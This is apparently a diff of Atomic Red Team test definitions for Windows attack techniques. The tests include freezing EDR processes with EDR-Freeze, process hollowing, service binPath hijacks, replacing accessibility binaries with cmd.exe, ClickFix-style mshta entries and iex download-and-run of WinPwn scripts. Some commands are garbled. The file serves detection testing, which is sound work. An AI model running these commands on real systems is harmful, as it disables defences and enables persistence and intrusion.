- name: Freeze PPL-protected process with EDR-Freeze
auto_generated_guid: cbb2573a-a6ad-4c87-aef8-6e175598559b
description: This test utilizes the tool EDR-Freeze, which leverages the native
Microsoft binary WerFaultSecure.exe to suspend processes protected by the
Protected Process Light mechanism. PPL is a Windows security feature designed
to safeguard critical system processes — such as those related to antivirus,
credential protection, and system integrity — from tampering or inspection.
These processes operate in a restricted environment that prevents access even
from administrators or debugging tools, unless the accessing tool is signed
and trusted by Microsoft. By using WerFaultSecure.exe, which is inherently
trusted by the operating system, EDR-Freeze is able to bypass these restrictions
and temporarily freeze PPL-protected processes for analysis or testing purposes.
supported_platforms:
- windows
input_arguments:
processName:
type: string
default: SecurityHealthService
description: PPL-protected process name to target
executor:
command: "# Enable SeDebugPrivilege\nAdd-Type -TypeDefinition @\"\nusing System;\nusing
System.Runtime.InteropServices;\n\npublic class TokenAdjuster {\n [DllImport(\"advapi32.dll\",
SetLastError = true)]\n public static extern bool OpenProcessToken(IntPtr
ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);\n\n [DllImport(\"advapi32.dll\",
SetLastError = true)]\n public static extern bool LookupPrivilegeValue(string
lpSystemName, string lpName, out long lpLuid);\n\n [DllImport(\"advapi32.dll\",
SetLastError = true)]\n public static extern bool AdjustTokenPrivileges(IntPtr
TokenHandle, bool DisableAllPrivileges,\n ref TOKEN_PRIVILEGES NewState,
uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);\n\n [StructLayout(LayoutKind.Sequential,
Pack = 1)]\n public struct TOKEN_PRIVILEGES {\n public int PrivilegeCount;\n
\ public long Luid;\n public int Attributes;\n }\n\n public
const int SE_PRIVILEGE_ENABLED = 0x00000002;\n public const uint TOKEN_ADJUST_PRIVILEGES
= 0x0020;\n public const uint TOKEN_QUERY = 0x0008;\n\n public static
bool EnableSeDebugPrivilege() {\n IntPtr hToken;\n if (!OpenProcessToken(System.Diagnostics.Process.GetCurrentProcess().Handle,
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))\n return
false;\n\n long luid;\n if (!LookupPrivilegeValue(null, \"SeDebugPrivilege\",
out luid))\n return false;\n\n TOKEN_PRIVILEGES tp = new
TOKEN_PRIVILEGES();\n tp.PrivilegeCount = 1;\n tp.Luid = luid;\n
\ tp.Attributes = SE_PRIVILEGE_ENABLED;\n\n return AdjustTokenPrivileges(hToken,
false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);\n }\n}\n\"@\n\n$result =
[TokenAdjuster]::EnableSeDebugPrivilege()\nif ($result) {\n Write-Host
\"SeDebugPrivilege enabled successfully.\" -ForegroundColor Green\n} else
{\n Write-Host \"Failed to enable SeDebugPrivilege.\" -ForegroundColor
Red\n exit 1\n}\n\n# Get basic process info\n$process = Get-Process -Name
$#{processName} -ErrorAction Stop\n$processName = $process.ProcessName\nWrite-Host
\"Process Name: $processName)\"\nWrite-Host \"PID: $($process.Id)\"\n \n#
Get executable path and user info\n$query = \"SELECT * FROM Win32_Process
WHERE Name = '$processName.exe'\"\n$wmiProcess = Get-WmiObject -Query $query\n\n$owner
= $wmiProcess.GetOwner()\n Write-Host \"User: $($owner.Domain)\\$($owner.User)\"\n\n\n#
Get the folder of the current script\n$scriptFolder = Split-Path -Parent
$MyInvocation.MyCommand.Definition\n\n# Download latest EDR-Freeze package
and extract (force replace)\n$downloadUrl = \"https://github.com/TwoSevenOneT/EDR-Freeze/releases/download/main/EDR-Freeze_1.0.zip\"\n$zipPath
= Join-Path $scriptFolder \"EDR-Freeze_1.0.zip\"\nWrite-Host \"Downloading
latest EDR-Freeze from $downloadUrl\" -ForegroundColor Cyan\ntry {\n Invoke-WebRequest
-Uri $downloadUrl -OutFile $zipPath -UseBasicParsing -ErrorAction Stop\n
\ Write-Host \"Download completed: $zipPath\" -ForegroundColor Green\n
\ $extractFolder = $scriptFolder\n if (Test-Path $zipPath) {\n Write-Host
\"Extracting archive to $extractFolder (overwriting existing files)\" -ForegroundColor
Cyan\n if (Test-Path $extractFolder) {\n # Ensure target
exe not locked; attempt to stop any running instance silently\n Get-Process
-Name \"EDR-Freeze_1.0\" -ErrorAction SilentlyContinue | Stop-Process -Force
-ErrorAction SilentlyContinue\n }\n Add-Type -AssemblyName
System.IO.Compression.FileSystem 2>$null\n # Custom extraction routine
(overwrite existing) compatible with .NET Framework (no bool overwrite overload)\n
\ $archive = $null\n try {\n $archive = [System.IO.Compression.ZipFile]::OpenRead($zipPath)\n
\ foreach ($entry in $archive.Entries) {\n if ([string]::IsNullOrWhiteSpace($entry.FullName))
{ continue }\n if ($entry.FullName.EndsWith('/')) { # directory
entry\n $dirPath = Join-Path $extractFolder $entry.FullName\n
\ if (-not (Test-Path $dirPath)) { New-Item -ItemType
Directory -Path $dirPath -Force | Out-Null }\n continue\n
\ }\n $destPath = Join-Path $extractFolder
$entry.FullName\n $destDir = Split-Path $destPath -Parent\n
\ if (-not (Test-Path $destDir)) { New-Item -ItemType Directory
-Path $destDir -Force | Out-Null }\n if (Test-Path $destPath)
{ Remove-Item -Path $destPath -Force -ErrorAction SilentlyContinue }\n try
{\n # Use static extension method (PowerShell 5.1 compatible)\n
\ [System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry,
$destPath, $false)\n } catch {\n Write-Host
\"Failed to extract entry $($entry.FullName): $_\" -ForegroundColor Yellow\n
\ }\n }\n Write-Host \"Extraction completed.\"
-ForegroundColor Green\n } finally {\n if ($archive) {
$archive.Dispose() }\n }\n }\n} catch {\n Write-Host \"Failed
to download or extract EDR-Freeze: $_\" -ForegroundColor Red\n}\n\n# Wait
15s before putting targeted process before putting it in the comma\nWrite-Host
\"Waiting 15s before putting $processName in the comma\" -ForegroundColor
Yellow\nStart-Sleep -Seconds 5\nWrite-Host \"Waiting 10s before putting
$processName in the comma\" -ForegroundColor Yellow\nStart-Sleep -Seconds
5\nWrite-Host \"Waiting 5s before putting $processName in the comma\" -ForegroundColor
Yellow\nStart-Sleep -Seconds 3\nWrite-Host \"Waiting 2s before putting $processName
in the comma\" -ForegroundColor Yellow\nStart-Sleep -Seconds 2\n\n# Put
targeted process in the comma for 15s\n# Discover the EDR-Freeze executable
dynamically (pick most recent if multiple)\n$edrFreezeExeName = Get-ChildItem
-Path $scriptFolder -Filter 'EDR-Freeze_*.exe' -ErrorAction SilentlyContinue
|\n Sort-Object LastWriteTime -Descending |\n Select-Object -First
1 -ExpandProperty Name\nif (-not $edrFreezeExeName) {\n Write-Host \"No
EDR-Freeze executable (EDR-Freeze_*.exe) found in $scriptFolder\" -ForegroundColor
Red\n exit 1\n}\n\n$edrFreezeExe = Join-Path $scriptFolder $edrFreezeExeName\nWrite-Host
\"Using EDR-Freeze executable: $edrFreezeExeName\" -ForegroundColor Cyan\nWrite-Host
\"$processName putted in the comma for 15s, by targetting Process ID $($htaProcess.Id)\"
-ForegroundColor Yellow\nStart-Process -FilePath $edrFreezeExe -ArgumentList
(\"$($process.Id) 15000\") | Out-Null"
cleanup_command: |-
Remove-Item -Path $edrFreezeExe -Force -erroraction silentlycontinue
Write-Output "File deleted: $edrFreezeExe"
name: powershell
elevation_required: true
T1601:
technique:
type: attack-pattern
@@ -19937,14 +19697,6 @@ defense-evasion:
supported_platforms:
- windows
input_arguments:
script_download_url:
description: Download url for Start-Hollow.ps1
type: string
default: https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/720d8fe82396faf74f2ca19a3fe99a5c262a14b9/Start-Hollow.ps1
script_path:
description: Path to Start-Hollow.ps1
type: path
default: PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1
hollow_binary_path:
description: Path of the binary to hollow (executable that will run inside
the sponsor)
@@ -19964,7 +19716,7 @@ defense-evasion:
default: notepad
executor:
command: |
. "#{script_path}"
. "$PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction
@@ -19972,21 +19724,6 @@ defense-evasion:
'
name: powershell
dependency_executor_name: powershell
dependencies:
- description: 'Start-Hollow.ps1 must be installed
'
prereq_command: 'if (Test-Path "#{script_path}") {exit 0} else {exit 1}
'
get_prereq_command: |
try {
iwr "#{script_download_url}" -OutFile (New-Item -Path #{script_path} -Force)
} catch {
Write-Error $_
Exit 1
}
- name: RunPE via VBA
auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b
description: 'This module executes notepad.exe from within the WINWORD.EXE process
@@ -20072,7 +19809,7 @@ defense-evasion:
-program "#{hollow_binary_path}" -debug
'
cleanup_command: |
cleanup_command: |-
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
T1564.009:
@@ -26368,7 +26105,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -26445,6 +26182,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -30818,25 +30556,14 @@ privilege-escalation:
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
supported_platforms:
- windows
input_arguments:
service_name:
description: The name of the service that will be modified
type: string
default: Fax
service_binpath:
description: The default value for the binary path of the service
type: string
default: C:\WINDOWS\system32\fxssvc.exe
executor:
name: command_prompt
elevation_required: true
command: |
sc config #{service_name} binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start #{service_name}
cleanup_command: 'sc config #{service_name} binPath= "#{service_binpath}"
>nul 2>&1
'
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start Fax
cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul
2>&1
- name: Service Installation CMD
auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6
description: |
@@ -35102,47 +34829,6 @@ privilege-escalation:
'
name: command_prompt
elevation_required: true
- name: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe
auto_generated_guid: 825ba8ca-71cc-436b-b1dd-ea0d5e109086
description: 'Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe.
This allows the user to launch an elevated command prompt by pressing the
Windows Key + P on the login screen.
'
supported_platforms:
- windows
executor:
command: |
IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\DisplaySwitch.exe /A
icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe
cleanup_command: 'copy /Y C:\Windows\System32\DisplaySwitch_backup.exe C:\Windows\System32\DisplaySwitch.exe
'
name: command_prompt
elevation_required: true
- name: Replace AtBroker.exe (App Switcher binary) with cmd.exe
auto_generated_guid: 210be7ea-d841-40ec-b3e1-ff610bb62744
description: 'Replace AtBroker.exe (App Switcher binary) with cmd.exe. This
allows the user to launch an elevated command prompt from the login screen
by locking and then unlocking the computer after toggling on any of the accessibility
tools in the Accessibility menu.
'
supported_platforms:
- windows
executor:
command: |
IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\AtBroker.exe /A
icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe
cleanup_command: 'copy /Y C:\Windows\System32\AtBroker_backup.exe C:\Windows\System32\AtBroker.exe
'
name: command_prompt
elevation_required: true
T1055.004:
technique:
type: attack-pattern
@@ -37336,9 +37022,6 @@ privilege-escalation:
default: C:\Windows\System32\calc.exe
executor:
command: |
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
@@ -38717,14 +38400,6 @@ privilege-escalation:
supported_platforms:
- windows
input_arguments:
script_download_url:
description: Download url for Start-Hollow.ps1
type: string
default: https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/720d8fe82396faf74f2ca19a3fe99a5c262a14b9/Start-Hollow.ps1
script_path:
description: Path to Start-Hollow.ps1
type: path
default: PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1
hollow_binary_path:
description: Path of the binary to hollow (executable that will run inside
the sponsor)
@@ -38744,7 +38419,7 @@ privilege-escalation:
default: notepad
executor:
command: |
. "#{script_path}"
. "$PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction
@@ -38752,21 +38427,6 @@ privilege-escalation:
'
name: powershell
dependency_executor_name: powershell
dependencies:
- description: 'Start-Hollow.ps1 must be installed
'
prereq_command: 'if (Test-Path "#{script_path}") {exit 0} else {exit 1}
'
get_prereq_command: |
try {
iwr "#{script_download_url}" -OutFile (New-Item -Path #{script_path} -Force)
} catch {
Write-Error $_
Exit 1
}
- name: RunPE via VBA
auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b
description: 'This module executes notepad.exe from within the WINWORD.EXE process
@@ -38852,7 +38512,7 @@ privilege-escalation:
-program "#{hollow_binary_path}" -debug
'
cleanup_command: |
cleanup_command: |-
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
T1068:
@@ -44600,21 +44260,6 @@ execution:
cleanup_command: reg delete "HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security"
/v "VBAWarnings" /f
name: powershell
- name: ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell
auto_generated_guid: 3f3120f0-7e50-4be2-88ae-54c61230cb9f
description: |
Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches `mshta.exe` with a remote payload.
This technique relies on user interaction (Win+R + Enter) to trigger execution.
Used in social engineering campaigns that aim to bypass traditional startup methods.
Reference: https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
supported_platforms:
- windows
executor:
command: Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
-Name "atomictest" -Value '"C:\Windows\System32\mshta.exe" http://localhost/hello6.hta'
cleanup_command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
-Name "atomictest" -ErrorAction SilentlyContinue
name: powershell
T1053.003:
technique:
type: attack-pattern
@@ -50749,25 +50394,14 @@ persistence:
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
supported_platforms:
- windows
input_arguments:
service_name:
description: The name of the service that will be modified
type: string
default: Fax
service_binpath:
description: The default value for the binary path of the service
type: string
default: C:\WINDOWS\system32\fxssvc.exe
executor:
name: command_prompt
elevation_required: true
command: |
sc config #{service_name} binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start #{service_name}
cleanup_command: 'sc config #{service_name} binPath= "#{service_binpath}"
>nul 2>&1
'
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start Fax
cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul
2>&1
- name: Service Installation CMD
auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6
description: |
@@ -57207,47 +56841,6 @@ persistence:
'
name: command_prompt
elevation_required: true
- name: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe
auto_generated_guid: 825ba8ca-71cc-436b-b1dd-ea0d5e109086
description: 'Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe.
This allows the user to launch an elevated command prompt by pressing the
Windows Key + P on the login screen.
'
supported_platforms:
- windows
executor:
command: |
IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\DisplaySwitch.exe /A
icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe
cleanup_command: 'copy /Y C:\Windows\System32\DisplaySwitch_backup.exe C:\Windows\System32\DisplaySwitch.exe
'
name: command_prompt
elevation_required: true
- name: Replace AtBroker.exe (App Switcher binary) with cmd.exe
auto_generated_guid: 210be7ea-d841-40ec-b3e1-ff610bb62744
description: 'Replace AtBroker.exe (App Switcher binary) with cmd.exe. This
allows the user to launch an elevated command prompt from the login screen
by locking and then unlocking the computer after toggling on any of the accessibility
tools in the Accessibility menu.
'
supported_platforms:
- windows
executor:
command: |
IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\AtBroker.exe /A
icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe
cleanup_command: 'copy /Y C:\Windows\System32\AtBroker_backup.exe C:\Windows\System32\AtBroker.exe
'
name: command_prompt
elevation_required: true
T1136.002:
technique:
type: attack-pattern
@@ -59214,9 +58807,6 @@ persistence:
default: C:\Windows\System32\calc.exe
executor:
command: |
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
}
if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
}
@@ -70529,54 +70119,6 @@ collection:
cleanup_command: 'del #{output_file}
'
- name: Copy and Compress AppData Folder
auto_generated_guid: 05e8942e-f04f-460a-b560-f7781257feec
description: 'Copies the AppData folder, compresses it, and cleans up temporary
files.
'
supported_platforms:
- windows
input_arguments:
destination_folder:
type: Path
default: "$env:USERPROFILE\\Desktop\\AppDataCopy"
description: Temporary copy location
zip_file_path:
type: Path
default: "$env:USERPROFILE\\Desktop\\AppDataBackup.zip"
description: ZIP archive path
dependencies:
- description: Requires admin and .NET compression libraries
prereq_command: |
if (-not ([Security.Principal.WindowsPrincipal] `
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(`
[Security.Principal.WindowsBuiltInRole]::Administrator)) { exit 1 }
if (-not (Test-Path "$env:USERPROFILE\AppData")) { exit 1 }
get_prereq_command: 'Run PowerShell as Administrator and ensure .NET compression
assemblies are available.
'
executor:
name: powershell
elevation_required: true
command: |
$AppData="$env:USERPROFILE\AppData"
$Copy="#{destination_folder}"
$Zip="#{zip_file_path}"
if (Test-Path $Copy) { Remove-Item $Copy -Recurse -Force }
New-Item -ItemType Directory -Path $Copy | Out-Null
Get-ChildItem $AppData -Recurse -Force | ForEach-Object {
$rel = $_.FullName.Substring($AppData.Length + 1)
$dest = Join-Path $Copy $rel
if ($_.PSIsContainer) { New-Item -ItemType Directory -Path $dest -Force | Out-Null }
else { Copy-Item $_.FullName -Destination $dest -Force -ErrorAction SilentlyContinue }
}
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::CreateFromDirectory($Copy, $Zip, [System.IO.Compression.CompressionLevel]::Optimal, $false)
T1113:
technique:
type: attack-pattern
@@ -71080,22 +70622,13 @@ collection:
atomic_tests:
- name: using device audio capture commandlet
auto_generated_guid: 9c3ad250-b185-4444-b5a9-d69218a10c95
description: |
Uses AudioDeviceCmdlets to set the default recording device and simulate audio capture.
Module repo: [AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets)
description: "[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n"
supported_platforms:
- windows
dependencies:
- description: AudioDeviceCmdlets module must be installed
prereq_command: "if (Get-Module -ListAvailable -Name AudioDeviceCmdlets) {
exit 0 } else { exit 1 } \n"
get_prereq_command: "Install with: Install-Module -Name AudioDeviceCmdlets
-Force\" \n"
executor:
command: |
$mic = Get-AudioDevice -Recording
Set-AudioDevice -ID $mic.ID
Start-Sleep -Seconds 5
command: 'powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
'
name: powershell
- name: Registry artefact when application use microphone
auto_generated_guid: 7a21cce2-6ada-4f7c-afd9-e1e9c481e44a
@@ -76321,7 +75854,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -76398,6 +75931,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -83802,7 +83336,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -83838,7 +83372,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
@@ -87223,10 +86756,10 @@ discovery:
- windows
executor:
command: |
net groups "Account Operators" /domain
net groups "Exchange Organization Management" /domain
net group "BUILTIN\Backup Operators" /domain
net group "Domain Admins" /domain
net groups "Account Operators" /doma
net groups "Exchange Organization Management" /doma
net group "BUILTIN\Backup Operators" /doma
net group /domai "Domain Admins"
name: command_prompt
- name: Find machines where user has local admin access (PowerView)
auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1
@@ -88314,7 +87847,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput
name: powershell
@@ -88326,7 +87858,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput
name: powershell
@@ -88337,7 +87868,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput
cleanup_command: |-
@@ -88354,7 +87884,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput
name: powershell
@@ -88366,7 +87895,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive
name: powershell
@@ -88378,7 +87906,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput
name: powershell
@@ -88390,7 +87917,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive
name: powershell
@@ -88402,7 +87928,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson
name: powershell
@@ -88414,7 +87939,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"
name: powershell
@@ -88428,7 +87952,6 @@ discovery:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"
name: powershell
@@ -99848,84 +99371,6 @@ impact:
'
name: command_prompt
elevation_required: false
- name: Windows - Display a simulated ransom note via Notepad (non-destructive)
auto_generated_guid: 0eeb68ce-e64c-4420-8d53-ad5bdc6f86d5
description: |
Creates a temporary ransom-note text file and opens it in Notepad to
simulate ransomware "note display" behavior without making destructive
changes. SAFE and non-destructive.
supported_platforms:
- windows
input_arguments:
note_filename:
description: File name for the simulated ransom note
type: string
default: ART-T1491-ransom-note.txt
pid_filename:
description: File name for storing Notepad PID
type: string
default: ART-T1491-notepad.pid
note_title:
description: Title at the top of the ransom note
type: string
default: "!!! READ_ME_NOW !!!"
note_body:
description: The body of the ransom note (plain text)
type: string
default: |
Your files are SAFE. This is a TEST note for detection validation
by bak3n3k0. No data has been encrypted. This simulation exercises
detections for:
- notepad.exe launched with a ransom-themed text file
- creation of a ransom-themed text file in %TEMP%
NON-DESTRUCTIVE Atomic Red Team test.
dependency_executor_name: command_prompt
dependencies:
- description: Notepad must be present on the system
prereq_command: where notepad
get_prereq_command: ''
executor:
name: powershell
elevation_required: false
command: |
$notePath = Join-Path $env:TEMP "#{note_filename}"
$pidPath = Join-Path $env:TEMP "#{pid_filename}"
$Title = "#{note_title}"
$Body = "#{note_body}"
$header = $Title + "`r`n" + ('=' * $Title.Length) + "`r`n`r`n"
$content = $header + $Body
[System.IO.File]::WriteAllText($notePath, $content, [System.Text.Encoding]::UTF8)
$p = Start-Process notepad.exe -ArgumentList "`"$notePath`"" -PassThru
$p.Id | Out-File -FilePath $pidPath -Encoding ascii -Force
cleanup_command: |
try {
# 1. Kill all Notepad processes
Get-Process notepad -ErrorAction SilentlyContinue |
ForEach-Object {
Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue
}
# 2. Wait briefly for Windows to release file handles
Start-Sleep -Seconds 1
# 3. Force delete ransom note + PID file
$notePath = Join-Path $env:TEMP "ART-T1491-ransom-note.txt"
$pidPath = Join-Path $env:TEMP "ART-T1491-notepad.pid"
if (Test-Path $notePath) {
Remove-Item $notePath -Force -ErrorAction Stop
}
if (Test-Path $pidPath) {
Remove-Item $pidPath -Force -ErrorAction Stop
}
}
catch {
Write-Warning "Cleanup failed with error: $_"
}
T1496.004:
technique:
type: attack-pattern
+3 -4
View File
@@ -191,10 +191,9 @@ atomic_tests:
- macos
executor:
command: |
sudo defaults read /Library/Preferences/com.apple.alf
